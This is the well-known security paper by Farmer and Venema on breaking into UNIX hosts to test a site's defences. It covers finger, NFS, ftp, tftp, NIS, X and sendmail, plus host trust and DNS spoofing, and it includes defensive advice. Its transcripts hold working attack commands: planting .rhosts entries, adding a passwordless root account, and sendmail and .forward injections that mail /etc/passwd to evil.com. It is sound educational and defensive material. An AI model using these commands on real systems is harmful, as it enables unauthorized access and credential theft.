Improving the Security of Your Site by Breaking Into it

Dan Farmer

Sun Microsystems
2550 garcia ave MS PAL1-407
Mountain View CA 94043

zen@sun.com

Wietse Venema

Eindhoven University of Technology
P.O. Box 513, 5600 MB
Eindhoven, NL

wietse@wzv.win.tue.nl

Introduction

Every day, all over the world, computer networks and hosts are being broken into. The level of sophistication of these attacks varies widely; while it is generally believed that most break-ins succeed due to weak passwords, there are still a large number of intrusions that use more advanced techniques to break in. Less is known about the latter types of break-ins, because by their very nature they are much harder to detect.

CERT. SRI. The Nic. NCSC. RSA. NASA. MIT. Uunet. Berkeley. Purdue. Sun. You name it, we've seen it broken into. Anything that is on the Internet (and many that isn't) seems to be fairly easy game. Are these targets unusual? What happened?

Fade to...

A young boy, with greasy blonde hair, sitting in a dark room. The room is illuminated only by the luminescense of the C64's 40 character screen. Taking another long drag from his Benson and Hedges cigarette, the weary system cracker telnets to the next faceless ".mil" site on his hit list. "guest -- guest", "root -- root", and "system -- manager" all fail. No matter. He has all night... he pencils the host off of his list, and tiredly types in the next potential victim...

This seems to be the popular image of a system cracker. Young, inexperienced, and possessing vast quantities of time to waste, to get into just one more system. However, there is a far more dangerous type of system cracker out there. One who knows the ins and outs of the latest security auditing and cracking tools, who can modify them for specific attacks, and who can write his/her own programs. One who not only reads about the latest security holes, but also personally discovers bugs and vulnerabilities.

A deadly creature that can both strike poisonously and hide its tracks without a whisper or hint of a trail. The uebercracker is here.

Why "uebercracker"? The idea is stolen, obviously, from Nietzsche's uebermensch, or, literally translated into English, "over man." Nietzsche used the term not to refer to a comic book superman, but instead a man who had gone beyond the incompetence, pettiness, and weakness of the everyday man. The uebercracker is therefore the system cracker who has gone beyond simple cookbook methods of breaking into systems. An uebercracker is not usually motivated to perform random acts of violence. Targets are not arbitrary -- there is a purpose, whether it be personal monetary gain, a hit and run raid for information, or a challenge to strike a major or prestigious site or net.personality. An uebercracker is hard to detect, harder to stop, and hardest to keep out of your site for good.

Overview

In this paper we will take an unusual approach to system security. Instead of merely saying that something is a problem, we will look through the eyes of a potential intruder, and show _why_ it is one. We will illustrate that even seemingly harmless network services can become valuable tools in the search for weak points of a system, even when these services are operating exactly as they are intended to.

In an effort to shed some light on how more advanced intrusions occur, this paper outlines various mechanisms that crackers have actually used to obtain access to systems and, in addition, some techniques we either suspect intruders of using, or that we have used ourselves in tests or in friendly/authorized environments.

Our motivation for writing this paper is that system administrators are often unaware of the dangers presented by anything beyond the most trivial attacks. While it is widely known that the proper level of protection depends on what has to be protected, many sites appear to lack the resources to assess what level of host and network security is adequate. By showing what intruders can do to gain access to a remote site, we are trying to help system administrators to make _informed_ decisions on how to secure their site -- or not. We will limit the discussion to techniques that can give a remote intruder access to a (possibly non-interactive) shell process on a UNIX host. Once this is achieved, the details of obtaining root privilege are beyond the scope of this work -- we consider them too site-dependent and, in many cases, too trivial to merit much discussion.

We want to stress that we will not merely run down a list of bugs or security holes -- there will always be new ones for a potential attacker to exploit. The purpose of this paper is to try to get the reader to look at her or his system in a new way -- one that will hopefully afford him or her the opportunity to _understand_ how their system can be compromised, and how.

We would also like to reiterate to the reader that the purpose of this paper is to show you how to test the security of your own site, not how to break into other people's systems. The intrusion techniques we illustrate here will often leave traces in your system auditing logs -- it might be constructive to examine them after trying some of these attacks out, to see what a real attack might look like. Certainly other sites and system administrators will take a very dim view of your activities if you decide to use their hosts for security testing without advance authorization; indeed, it is quite possible that legal action may be pursued against you if they perceive it as an attack.

There are four main parts to the paper. The first part is the introduction and overview. The second part attempts to give the reader a feel for what it is like to be an intruder and how to go from knowing nothing about a system to compromising its security. This section goes over actual techniques to gain information and entrance and covers basic strategies such as exploiting trust and abusing improperly configured basic network services (ftp, mail, tftp, etc.) It also discusses slightly more advanced topics, such as NIS and NFS, as well as various common bugs and configuration problems that are somewhat more OS or system specific. Defensive strategies against each of the various attacks are also covered here.

The third section deals with trust: how the security of one system depends on the integrity of other systems. Trust is the most complex subject in this paper, and for the sake of brevity we will limit the discussion to clients in disguise.

The fourth section covers the basic steps that a system administrator may take to protect her or his system. Most of the methods presented here are merely common sense, but they are often ignored in practice -- one of our goals is to show just how dangerous it can be to ignore basic security practices.

Case studies, pointers to security-related information, and software are described in the appendices at the end of the paper.

While exploring the methods and strategies discussed in this paper we we wrote SATAN (Security Analysis Tool for Auditing Networks.) Written in shell, perl, expect and C, it examines a remote host or set of hosts and gathers as much information as possible by remotely probing NIS, finger, NFS, ftp and tftp, rexd, and other services. This information includes the presence of various network information services as well as potential security flaws -- usually in the form of incorrectly setup or configured network services, well-known bugs in system or network utilities, or poor or ignorant policy decisions. It then can either report on this data or use an expert system to further investigate any potential security problems. While SATAN doesn't use all of the methods that we discuss in the paper, it has succeeded with ominous regularity in finding serious holes in the security of Internet sites. It will be posted and made available via anonymous ftp when completed; Appendix A covers its salient features.

Note that it isn't possible to cover all possible methods of breaking into systems in a single paper. Indeed, we won't cover two of the most effective methods of breaking into hosts: social engineering and password cracking. The latter method is so effective, however, that several of the strategies presented here are geared towards acquiring password files. In addition, while windowing systems (X, OpenWindows, etc.) can provide a fertile ground for exploitation, we simply don't know many methods that are used to break into remote systems. Many system crackers use non-bitmapped terminals which can prevent them from using some of the more interesting methods to exploit windowing systems effectively (although being able to monitor the victim's keyboard is often sufficient to capture passwords). Finally, while worms, viruses, trojan horses, and other malware are very interesting, they are not common (on UNIX systems) and probably will use similar techniques to the ones we describe in this paper as individual parts to their attack strategy.

Gaining Information

Let us assume that you are the head system administrator of Victim Incorporated's network of UNIX workstations. In an effort to secure your machines, you ask a friendly system administrator from a nearby site (evil.com) to give you an account on one of her machines so that you can look at your own system's security from the outside.

What should you do? First, try to gather information about your (target) host. There is a wealth of network services to look at: finger, showmount, and rpcinfo are good starting points. But don't stop there -- you should also utilize DNS, whois, sendmail (smtp), ftp, uucp, and as many other services as you can find. There are so many methods and techniques that space precludes us from showing all of them, but we will try to show a cross-section of the most common and/or dangerous strategies that we have seen or have thought of. Ideally, you would gather such information about all hosts on the subnet or area of attack -- information is power -- but for now we'll examine only our intended target.

To start out, you look at what the ubiquitous finger command shows you (assume it is 6pm, Nov 6, 1993):

```
victim % finger @victim.com
[victim.com]
Login       Name              TTY Idle     When    Where
zen      Dr.  Fubar            co   1d  Wed 08:00   death.com
```

Good! A single idle user -- it is likely that no one will notice if you actually manage to break in.

Now you try more tactics. As every finger devotee knows, fingering "@", "0", and "", as well as common names, such as root, bin, ftp, system, guest, demo, manager, etc., can reveal interesting information. What that information is depends on the version of finger that your target is running, but the most notable are account names, along with their home directories and the host that they last logged in from.

To add to this information, you can use rusers (in particular with the -l flag) to get useful information on logged-in users.

Trying these commands on victim.com reveals the following information, presented in a compressed tabular form to save space:

```
Login   Home-dir    Shell      Last login, from where
-----   --------    -----      ----------------------
root    /           /bin/sh    Fri Nov 5 07:42 on ttyp1 from big.victim.com
bin     /bin                   Never logged in
nobody  /                      Tue Jun 15 08:57 on ttyp2 from server.victim.co
daemon  /                      Tue Mar 23 12:14 on ttyp0 from big.victim.com
sync    /           /bin/sync  Tue Mar 23 12:14 on ttyp0 from big.victim.com
zen     /home/zen   /bin/bash  On since Wed Nov  6 on ttyp3 from death.com
sam     /home/sam   /bin/csh   Wed Nov  5 05:33 on ttyp3 from evil.com
guest   /export/foo /bin/sh    Never logged in
ftp     /home/ftp              Never logged in
```

Both our experiments with SATAN and watching system crackers at work have proved to us that finger is one of the most dangerous services, because it is so useful for investigating a potential target. However, much of this information is useful only when used in conjunction with other data.

For instance, running showmount on your target reveals:

```
evil % showmount -e victim.com
export list for victim.com:
/export                          (everyone)
/var                             (everyone)
/usr                             easy
/export/exec/kvm/sun4c.sunos.4.1.3 easy
/export/root/easy                easy
/export/swap/easy                easy
```

Note that /export/foo is exported to the world; also note that this is user guest's home directory. Time for your first break-in! In this case, you'll mount the home directory of user "guest." Since you don't have a corresponding account on the local machine and since root cannot modify files on an NFS mounted filesystem, you create a "guest" account in your local password file. As user guest you can put an .rhosts entry in the remote guest home directory, which will allow you to login to the target machine without having to supply a password.

```
evil # mount victim.com:/export/foo /foo
evil # cd /foo
evil # ls -lag
total 3
   1 drwxr-xr-x 11 root     daemon        512 Jun 19 09:47 .
   1 drwxr-xr-x  7 root     wheel         512 Jul 19  1991 ..
   1 drwx--x--x  9 10001    daemon       1024 Aug  3 15:49 guest
evil # echo guest:x:10001:1:temporary breakin account:/: >> /etc/passwd
evil # ls -lag
total 3
   1 drwxr-xr-x 11 root     daemon        512 Jun 19 09:47 .
   1 drwxr-xr-x  7 root     wheel         512 Jul 19  1991 ..
   1 drwx--x--x  9 guest    daemon       1024 Aug  3 15:49 guest
evil # su guest
evil % echo evil.com >> guest/.rhosts
evil % rlogin victim.com
        Welcome to victim.com!
victim %
```

If, instead of home directories, victim.com were exporting filesystems with user commands (say, /usr or /usr/local/bin), you could replace a command with a trojan horse that executes any command of your choice. The next user to execute that command would execute your program.

We suggest that filesystems be exported:

- Read/write only to specific, trusted clients.
- Read-only, where possible (data or programs can often be exported in this manner.)

If the target has a "+" wildcard in its /etc/hosts.equiv (the default in various vendor's machines) or has the netgroups bug (CERT advisory 91:12), any non-root user with a login name in the target's password file can rlogin to the target without a password. And since the user "bin" often owns key files and directories, your next attack is to try to log in to the target host and modify the password file to let you have root access:

```
evil % whoami
bin
evil % rsh victim.com csh -i
Warning: no access to tty; thus no job control in this shell...
victim %  ls -ldg /etc
```

```
drwxr-sr-x  8 bin      staff        2048 Jul 24 18:02 /etc
victim %  cd /etc
victim %  mv passwd pw.old
victim %  (echo toor::0:1:instant root shell:/:/bin/sh; cat pw.old ) > passwd
victim % ^D
evil % rlogin victim.com -l toor
        Welcome to victim.com!
victim #
```

A few notes about the method used above; "rsh victim.com csh -i" is used to initially get onto the system because it doesn't leave any traces in the wtmp or utmp system auditing files, making the rsh invisible for finger and who. The remote shell isn't attached to a pseudo-terminal, however, so that screen-oriented programs such as pagers and editors will fail -- but it is very handy for brief exploration.

The COPS security auditing tool (see appendix D) will report key files or directories that are writable to accounts other than the superuser. If you run SunOS 4.x you can apply patch 100103 to fix most file permission problems. On many systems, rsh probes as shown above, even when successful, would remain completely unnoticed; the tcp wrapper (appendix D), which logs incoming connections, can help to expose such activities.

What now? Have you uncovered all the holes on your target system? Not by a long shot. Going back to the finger results on your target, you notice that it has an "ftp" account, which usually means that anonymous ftp is enabled. Anonymous ftp can be an easy way to get access, as it is often misconfigured. For example, the target may have a complete copy of the /etc/passwd file in the anonymous ftp ~ftp/etc directory instead of a stripped down version. In this example, though, you see that the latter doesn't seem to be true (how can you tell without actually examining the file?) However, the home directory of ftp on victim.com is writable. This allows you to remotely execute a command -- in this case, mailing the password file back to yourself -- by the simple method of creating a .forward file that executes a command when mail is sent to the ftp account. This is the same mechanism of piping mail to a program that the "vacation" program uses to automatically reply to mail messages.

```
evil % cat forward_sucker_file
"|/bin/mail zen@evil.com < /etc/passwd"

evil % ftp victim.com
Connected to victim.com
220 victim FTP server ready.
Name (victim.com:zen): ftp
331 Guest login ok, send ident as password.
Password:
230 Guest login ok, access restrictions apply.
ftp> ls -lga
200 PORT command successful.
150 ASCII data connection for /bin/ls (192.192.192.1,1129) (0 bytes).
total 5
drwxr-xr-x  4 101      1             512 Jun 20  1991 .
drwxr-xr-x  4 101      1             512 Jun 20  1991 ..
drwxr-xr-x  2 0        1             512 Jun 20  1991 bin
drwxr-xr-x  2 0        1             512 Jun 20  1991 etc
drwxr-xr-x  3 101      1             512 Aug 22  1991 pub
226 ASCII Transfer complete.
242 bytes received in 0.066 seconds (3.6 Kbytes/s)
ftp> put forward_sucker_file .forward
```

```
43 bytes sent in 0.0015 seconds (28 Kbytes/s)
ftp> quit
evil % echo test | mail ftp@victim.com
```

Now you simply wait for the password file to be sent back to you.

The security auditing tool COPS will check your anonymous ftp setup; see the man page for ftpd, the documentation/code for COPS, or CERT advisory 93:10 for information on how to set up anonymous ftp correctly. Vulnerabilities in ftp are often a matter of incorrect ownership or permissions of key files or directories. At the very least, make sure that ~ftp and all "system" directories and files below ~ftp are owned by root and are not writable by any user.

While looking at ftp, you can check for an older bug that was once widely exploited:

```
% ftp -n
ftp> open victim.com
Connected to victim.com
220 victim.com FTP server ready.
ftp> quote user ftp
331 Guest login ok, send ident as password.
ftp> quote cwd ~root
530 Please login with USER and PASS.
ftp> quote pass ftp
230 Guest login ok, access restrictions apply.
ftp> ls -al / (or whatever)
```

If this works, you now are logged in as root, and able to modify the password file, or whatever you desire. If your system exhibits this bug, you should definitely get an update to your ftpd daemon, either from your vendor or (via anon ftp) from ftp.uu.net.

The wuarchive ftpd, a popular replacement ftp daemon put out by the Washington University in Saint Louis, had almost the same problem. If your wuarchive ftpd pre-dates April 8, 1993, you should replace it by a more recent version.

Finally, there is a program vaguely similar to ftp -- tftp, or the trivial file transfer program. This daemon doesn't require any password for authentication; if a host provides tftp without restricting the access (usually via some secure flag set in the inetd.conf file), an attacker can read and write files anywhere on the system. In the example, you get the remote password file and place it in your local /tmp directory:

```
evil % tftp
tftp> connect victim.com
tftp> get /etc/passwd /tmp/passwd.victim
tftp> quit
```

For security's sake, tftp should not be run; if tftp is necessary, use the secure option/flag to restrict access to a directory that has no valuable information, or run it under the control of a chroot wrapper program.

If none of the previous methods have worked, it is time to go on to more drastic measures. You have a friend in rpcinfo, another very handy program, sometimes even more useful than finger. Many hosts run RPC services that can be exploited; rpcinfo can talk to the portmapper and show you the way. It can tell you if the host is running NIS, if it is a NIS server or slave, if a diskless workstation is around, if it is running NFS, any of the info services (rusersd, rstatd, etc.), or any other unusual programs (auditing or security related). For instance, going back to our sample target:

```
evil % rpcinfo -p victim.com    [output trimmed for brevity's sake]
    program vers proto   port
     100004    2   tcp    673  ypserv
     100005    1   udp    721  mountd
     100003    2   udp   2049  nfs
     100026    1   udp    733  bootparam
     100017    1   tcp   1274  rexd
```

In this case, you can see several significant facts about our target; first of which is that it is an NIS server. It is perhaps not widely known, but once you know the NIS domainname of a server, you can get any of its NIS maps by a simple rpc query, even when you are outside the subnet served by the NIS server (for example, using the YPX program that can be found in the comp.sources.misc archives on ftp.uu.net). In addition, very much like easily guessed passwords, many systems use easily guessed NIS domainnames. Trying to guess the NIS domainname is often very fruitful. Good candidates are the fully and partially qualified hostname (e.g. "victim" and "victim.com"), the organization name, netgroup names in "showmount" output, and so on. If you wanted to guess that the domainname was "victim", you could type:

```
 evil % ypwhich -d victim victim.com
 Domain victim not bound
```

.

This was an unsuccessful attempt; if you had guessed correctly it would have returned with the host name of victim.com's NIS server. However, note from the NFS section that victim.com is exporting the "/var" directory to the world. All that is needed is to mount this directory and look in the "yp" subdirectory -- among other things you will see another subdirectory that contains the domainname of the target.

```
 evil # mount victim.com:/var /foo
 evil # cd /foo
 evil # /bin/ls -alg /foo/yp
 total 17
    1 drwxr-sr-x  4 root     staff          512 Jul 12 14:22 .
    1 drwxr-sr-x 11 root     staff          512 Jun 29 10:54 ..
   11 -rwxr-xr-x  1 root     staff        10993 Apr 22 11:56 Makefile
    1 drwxr-sr-x  2 root     staff          512 Apr 22 11:20 binding
    2 drwxr-sr-x  2 root     staff         1536 Jul 12 14:22 foo_bar
    [...]
```

In this case, "foo_bar" is the NIS domain name.

In addition, the NIS maps often contain a good list of user/employee names as well as internal host lists, not to mention passwords for cracking.

Appendix C details the results of a case study on NIS password files.

You note that the rpcinfo output also showed that victim.com runs rexd. Like the rsh daemon, rexd processes requests of the form "please execute this command as that user". Unlike rshd, however, rexd does not care if the client host is in the hosts.equiv or .rhost files. Normally the rexd client program is the "on" command, but it only takes a short C program to send arbitrary client host and userid information to the rexd server; rexd will happily execute the command. For these reasons, running rexd is similar to having no passwords at all: all security is in the client, not in the server where it should be. Rexd security can be improved somewhat by using secure RPC.

While looking at the output from rpcinfo, you observe that victim.com also seems to be a server for diskless workstations. This is evidenced by the presence of the bootparam service, which provides information to the diskless clients for booting. If you ask nicely, using BOOTPARAMPROC_WHOAMI and provide the address of a client, you can get its NIS domainname. This can be very useful when combined with the fact that you can get arbitrary NIS maps (such as the password file) when you know the NIS domainname. Here is a sample code snippet to do just that (bootparam is part of SATAN.)

```
    char   *server;
    struct bp_whoami_arg arg;           /* query */
    struct bp_whoami_res res;           /* reply */

    /* initializations omitted... */

    callrpc(server, BOOTPARAMPROG, BOOTPARAMVERS, BOOTPARAMPROC_WHOAMI,
            xdr_bp_whoami_arg, &arg, xdr_bp_whoami_res, &res);

    printf("%s has nisdomain %s\n", server, res.domain_name);
```

```
The showmount output indicated that "easy" is a diskless client of
victim.com, so we use its client address in the BOOTPARAMPROC_WHOAMI
query:
```

```
 evil % bootparam victim.com easy.victim.com
 victim.com has nisdomain foo_bar
```

NIS masters control the mail aliases for the NIS domain in question. Just like local mail alias files, you can create a mail alias that will execute commands when mail is sent to it (a once popular example of this is the "decode" alias which uudecodes mail files sent to it.) For instance, here you create an alias "foo", which mails the password file back to evil.com by simply mailing any message to it:

```
 nis-master # echo 'foo: "| mail zen@evil.com < /etc/passwd "' >> /etc/aliases
 nis-master # cd /var/yp
 nis-master # make aliases
 nis-master # echo test | mail -v foo@victim.com
```

Hopefully attackers won't have control of your NIS master host, but even more hopefully the lesson is clear -- NIS is normally insecure, but if an attacker has control of your NIS master, then s/he effectively has control of the client hosts (e.g. can execute arbitrary commands).

There aren't many effective defenses against NIS attacks; it is an insecure service that has almost no authentication between clients and servers. To make things worse, it seems fairly clear that arbitrary maps can be forced onto even master servers (e.g., it is possible to treat an NIS server as a client). This, obviously, would subvert the entire schema. If it is absolutely necessary to use NIS, choosing a hard to guess domainname can help slightly, but if you run diskless clients that are exposed to potential attackers then it is trivial for an attacker to defeat this simple step by using the bootparam trick to get the domainname. If NIS is used to propagate the password maps, then shadow passwords do not give additional protection because the shadow map is still accessible to any attacker that has root on an attacking host. Better is to use NIS as little as possible, or to at least realize that the maps can be subject to perusal by potentially hostile forces.

Secure RPC goes a long way to diminish the threat, but it has its own problems, primarily in that it is difficult to administer, but also in that the cryptographic methods used within are not very strong. It has been rumored that NIS+, Sun's new network information service, fixes some of these problems, but until now it has been limited to running on Suns, and thus far has not lived up to the promise of the design. Finally, using packet filtering (at the very least port 111) or securelib (see appendix D), or, for Suns, applying Sun patch 100482-02 all can help.

The portmapper only knows about RPC services. Other network services can be located with a brute-force method that connects to all network ports. Many network utilities and windowing systems listen to specific ports (e.g. sendmail is on port 25, telnet is on port 23, X windows is usually on port 6000, etc.) SATAN includes a program that scans the ports of a remote hosts and reports on its findings; if you run it against our target, you see:

```
evil % tcpmap victim.com
Mapping 128.128.128.1
port 21: ftp
port 23: telnet
port 25: smtp
port 37: time
port 79: finger
port 512: exec
port 513: login
port 514: shell
port 515: printer
port 6000: (X)
```

This suggests that victim.com is running X windows. If not protected properly (via the magic cookie or xhost mechanisms), window displays can be captured or watched, user keystrokes may be stolen, programs executed remotely, etc. Also, if the target is running X and accepts a telnet to port 6000, that can be used for a denial of service attack, as the target's windowing system will often "freeze up" for a short period of time. One method to determine the vulnerability of an X server is to connect to it via the XOpenDisplay() function; if the function returns NULL then you cannot access the victim's display (opendisplay is part of SATAN):

```
    char   *hostname;

    if (XOpenDisplay(hostname) == NULL) {
       printf("Cannot open display: %s\n", hostname);
    } else {
       printf("Can open display: %s\n", hostname);
```

```
    }

evil % opendisplay victim.com:0
Cannot open display: victim.com:0
```

X terminals, though much less powerful than a complete UNIX system, can have their own security problems. Many X terminals permit unrestricted rsh access, allowing you to start X client programs in the victim's terminal with the output appearing on your own screen:

```
evil % xhost +xvictim.victim.com
evil % rsh xvictim.victim.com telnet victim.com -display evil.com
```

In any case, give as much thought to your window security as your filesystem and network utilities, for it can compromise your system as surely as a "+" in your hosts.equiv or a passwordless (root) account.

Next, you examine sendmail. Sendmail is a very complex program that has a long history of security problems, including the infamous "wiz" command (hopefully long since disabled on all machines). You can often determine the OS, sometimes down to the version number, of the target, by looking at the version number returned by sendmail. This, in turn, can give you hints as to how vulnerable it might be to any of the numerous bugs. In addition, you can see if they run the "decode" alias, which has its own set of problems:

```
evil % telnet victim.com 25
connecting to host victim.com (128.128.128.1.), port 25
connection open
220 victim.com Sendmail Sendmail 5.55/victim ready at Fri, 6 Nov 93 18:00 PDT
expn decode
250 <"|/usr/bin/uudecode">
quit
```

Running the "decode" alias is a security risk -- it allows potential attackers to overwrite any file that is writable by the owner of that alias -- often daemon, but potentially any user. Consider this piece of mail -- this will place "evil.com" in user zen's .rhosts file if it is writable:

```
evil % echo "evil.com" | uuencode /home/zen/.rhosts | mail decode@victim.com
```

If no home directories are known or writable, an interesting variation of this is to create a bogus /etc/aliases.pag file that contains an alias with a command you wish to execute on your target. This may work since on many systems the aliases.pag and aliases.dir files, which control the system's mail aliases, are writable to the world.

```
evil % cat decode
bin: "| cat /etc/passwd | mail zen@evil.com"
evil % newaliases -oQ/tmp -oA`pwd`/decode
evil % uuencode decode.pag /etc/aliases.pag | mail decode@victom.com
evil % /usr/lib/sendmail -fbin -om -oi bin@victim.com < /dev/null
```

A lot of things can be found out by just asking sendmail if an address is acceptable (vrfy), or what an address expands to (expn). When the finger or rusers services are turned off, vrfy and expn can still be used to identify user accounts or targets. Vrfy and expn can also be used to find out if the user is piping mail through any program that might be exploited (e.g. vacation, mail sorters, etc.). It can be a good idea to disable the vrfy and expn commands: in most versions, look at the source file srvrsmtp.c, and either delete or change the two lines in the CmdTab structure that have the strings "vrfy" and "expn". Sites without source can still disable expn and vrfy by just editing the sendmail executable with a binary editor and replacing "vrfy" and "expn" with blanks. Acquiring a recent version of sendmail (see Appendix D) is also an extremely good idea, since there have probably been more security bugs reported in sendmail than in any other UNIX program.

As a sendmail-sendoff, there are two fairly well known bugs that should be checked into. The first was definitely fixed in version 5.59 from Berkeley; despite the messages below, for versions of sendmail previous to 5.59, the "evil.com" gets appended, despite the error messages, along with all of the typical mail headers, to the file specified:

```
% cat evil_sendmail
telnet victim.com 25 << EOSM
rcpt to: /home/zen/.rhosts
mail from: zen
data
random garbage
.
rcpt to: /home/zen/.rhosts
mail from: zen
data
evil.com
.
quit
EOSM

evil % /bin/sh evil_sendmail
Trying 128.128.128.1
Connected to victim.com
Escape character is '^]'.
Connection closed by foreign host.

evil % rlogin victim.com -l zen
        Welcome to victim.com!
victim %
```

The second hole, fixed only recently, permitted anyone to specify arbitrary shell commands and/or pathnames for the sender and/or destination address. Attempts to keep details secret were in vain, and extensive discussions in mailing lists and usenet news groups led to disclosure of how to exploit some versions of the bug. As with many UNIX bugs, nearly every vendor's sendmail was vulnerable to the problem, since they all share a common source code tree ancestry. Space precludes us from discussing it fully, but a typical attack to get the password file might look like this:

```
evil % telnet victim.com 25
Trying 128.128.128.1...
Connected to victim.com
Escape character is '^]'.
220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04
mail from: "|/bin/mail zen@evil.com < /etc/passwd"
250 "|/bin/mail zen@evil.com < /etc/passwd"... Sender ok
rcpt to: nosuchuser
550 nosuchuser... User unknown
data
```

```
354 Enter mail, end with "." on a line by itself
.
250 Mail accepted
quit
Connection closed by foreign host.
evil %
```

At the time of writing, version 8.6.4 of sendmail (see Appendix D for information on how to get this) is reportedly the only variant of sendmail with all of the recent security bugs fixed.

Trust

For our final topic of vulnerability, we'll digress from the practical strategy we've followed previously to go a bit more into the theoretical side, and briefly discuss the notion of trust. The issues and implications of vulnerabilities here are a bit more subtle and far-reaching than what we've covered before; in the context of this paper we use the word trust whenever there is a situation when a server (note that any host that allows remote access can be called a server) can permit a local resource to be used by a client without password authentication when password authentication is normally required. In other words, we arbitrarily limit the discussion to clients in disguise.

There are many ways that a host can trust: .rhosts and hosts.equiv files that allow access without password verification; window servers that allow remote systems to use and abuse privileges; export files that control access via NFS, and more.

Nearly all of these rely on client IP address to hostname conversion to determine whether or not service is to be granted. The simplest method uses the /etc/hosts file for a direct lookup. However, today most hosts use either DNS (the Domain Name Service), NIS, or both for name lookup service. A reverse lookup occurs when a server has an IP address (from a client host connecting to it) and wishes to get the corresponding client hostname.

Although the concept of how host trust works is well understood by most system administrators, the _dangers_ of trust, and the _practical_ problem it represents, irrespective of hostname impersonation, is one of the least understood problems we know of on the Internet. This goes far beyond the obvious hosts.equiv and rhosts files; NFS, NIS, windowing systems -- indeed, much of the useful services in UNIX are based on the concept that well known (to an administrator or user) sites are trusted in some way. What is not understood is how networking so tightly binds security between what are normally considered disjoint hosts.

Any form of trust can be spoofed, fooled, or subverted, especially when the authority that gets queried to check the credentials of the client is either outside of the server's administrative domain, or when the trust mechanism is based on something that has a weak form of authentication; both are usually the case.

Obviously, if the host containing the database (either NIS, DNS, or whatever) has been compromised, the intruder can convince the target host that s/he is coming from any trusted host; it is now sufficient to find out which hosts are trusted by the target. This task is often greatly helped by examining where system administrators and system accounts (such as root, etc.) last logged in from. Going back to our target, victim.com, you note that root and some other system accounts logged in from big.victim.com. You change the PTR record for evil.com so that when you attempt to rlogin in from evil.com to victim.com, victim.com will attempt to look up your hostname and will find what you placed in the record. If the record in the DNS database looks like:

```
1.192.192.192.in-addr.arpa     IN      PTR     evil.com
```

And you change it to:

```
1.192.192.192.in-addr.arpa     IN      PTR     big.victim.com
```

then, depending on how naive victim.com's system software is, victim.com will believe the login comes from big.victim.com, and, assuming that big.victim.com is in the /etc/hosts.equiv or /.rhosts files, you will be able to login without supplying a password. With NIS, it is a simple matter of either editing the host database on the NIS master (if this is controlled by the intruder) or of spoofing or forcing NIS (see discussion on NIS security above) to supply the target with whatever information you desire. Although more complex, interesting, and damaging attacks can be mounted via DNS, time and space don't allow coverage of these methods here.

Two methods can be used to prevent such attacks. The first is the most direct, but perhaps the most impractical. If your site doesn't use any trust, you won't be as vulnerable to host spoofing. The other strategy is to use cryptographic protocols. Using the secure RPC protocol (used in secure NFS, NIS+, etc.) is one method; although it has been "broken" cryptographically, it still provides better assurance than RPC authentication schemes that do not use any form of encryption. Other solutions, both hardware (smartcards) and software (Kerberos), are being developed, but they are either incomplete or require changes to system software.

Appendix B details the results of an informal survey taken from a variety of hosts on the Internet.

Protecting the system

It is our hope that we have demonstrated that even some of the most seemingly innocuous services run can offer (sometimes unexpectedly) ammunition to determined system crackers. But, of course, if security were all that mattered, computers would never be turned on, let alone hooked into a network with literally millions of potential intruders. Rather than reiterating specific advice on what to switch on or off, we instead offer some general suggestions:

- If you cannot turn off the finger service, consider installing a modified finger daemon. It is rarely necessary to reveal a user's home directory and the source of last login.

- Don't run NIS unless it's absolutely necessary. Use NFS as little as possible.

- Never export NFS filesystems unrestricted to the world. Try to export file systems read-only where possible.

- Fortify and protect servers (e.g. hosts that provide a service to other hosts -- NFS, NIS, DNS, whatever.) Only allow administrative accounts on these hosts.

- Examine carefully services offered by inetd and the portmapper. Eliminate any that aren't explicitly needed. Use Wietse Venema's inetd wrappers, if for no other reason than to log the sources of connections to your host. This adds immeasurably to the standard UNIX auditing features, especially with respect to network attacks. If possible, use the loghost mechanism of syslog to collect security-related information on a secure host.

- Eliminate trust unless there is an absolute need for it. Trust is your enemy.

- Use shadow passwords and a passwd command that disallows poor passwords. Disable or delete unused/dormant system or user accounts.

- Keep abreast of current literature (see our suggested reading list and bibliography at the end of this paper) and security tools; communicate to others about security problems and incidents. At minimum, subscribe to the CERT mailing list and phrack magazine (plus the firewalls mailing list, if your site is using or thinking about installing a firewall) and read the usenet security newsgroups to get the latest information on security problems. Ignorance is the deadliest security problem we are aware of.

- Install all vendor security patches as soon as possible, on all of your hosts. Examine security patch information for other vendors - many bugs (rdist, sendmail) are common to many UNIX variants.

It is interesting to note that common solutions to security problems such as running Kerberos or using one-time passwords or digital tokens are ineffective against most of the attacks we discuss here. We heartily recommend the use of such systems, but be aware that they are _not_ a total security solution -- they are part of a larger struggle to defend your system.

Conclusions

Perhaps none of the methods shown here are surprising; when writing this paper, we didn't learn very much about how to break into systems. What we _did_ learn was, while testing these methods out on our own systems and that of friendly sites, just how effective this set of methods is for gaining access to a typical (UNIX) Internet host. Tiring of trying to type these in all by hand, and desiring to keep our own systems more secure, we decided to implement a security tool (SATAN) that attempts to check remote hosts for at least some of the problems discussed here. The typical response, when telling people about our paper and our tool was something on the order of "that sounds pretty dangerous -- I hope you're not going to give it out to everybody. But you since you can trust me, may I have a copy of it?"

We never set out to create a cookbook or toolkit of methods and programs on how to break into systems -- instead, we saw that these same methods were being used, every day, against ourselves and against friendly system administrators. We believe that by propagating information that normally wasn't available to those outside of the underworld, we can increase security by raising awareness. Trying to restrict access to "dangerous" security information has never seemed to be a very effective method for increasing security; indeed, the opposite appears to be the case, since the system crackers have shown little reticence to share their information with each other.

While it is almost certain that some of the information presented here is new material to (aspiring) system crackers, and that some will use it to gain unauthorized entrance onto hosts, the evidence presented even by our ad hoc tests shows that there is a much larger number of insecure sites, simply because the system administrators don't know any better -- they aren't stupid or slow, they simply are unable to spend the very little free time that they have to explore all of the security issues that pertain to their systems. Combine that with no easy access to this sort of information and you have poorly defended systems. We (modestly) hope that this paper will provide badly-needed data on how systems are broken into, and further, to explain _why_ certain steps should be taken to secure a system. Knowing why something is a problem is, in our opinion, the real key to learning and to making an informed, intelligent choice as to what security really means for your site.

Appendix A:

SATAN (Security Analysis Tool for Auditing Networks)

Originally conceived some years ago, SATAN is actually the prototype of a much larger and more comprehensive vision of a security tool. In its current incarnation, SATAN remotely probes and reports various bugs and weaknesses in network services and windowing systems, as well as detailing as much generally useful information as possible about the target(s). It then processes the data with a crude filter and what might be termed an expert system to generate the final security analysis. While not particularly fast, it is extremely modular and easy to modify.

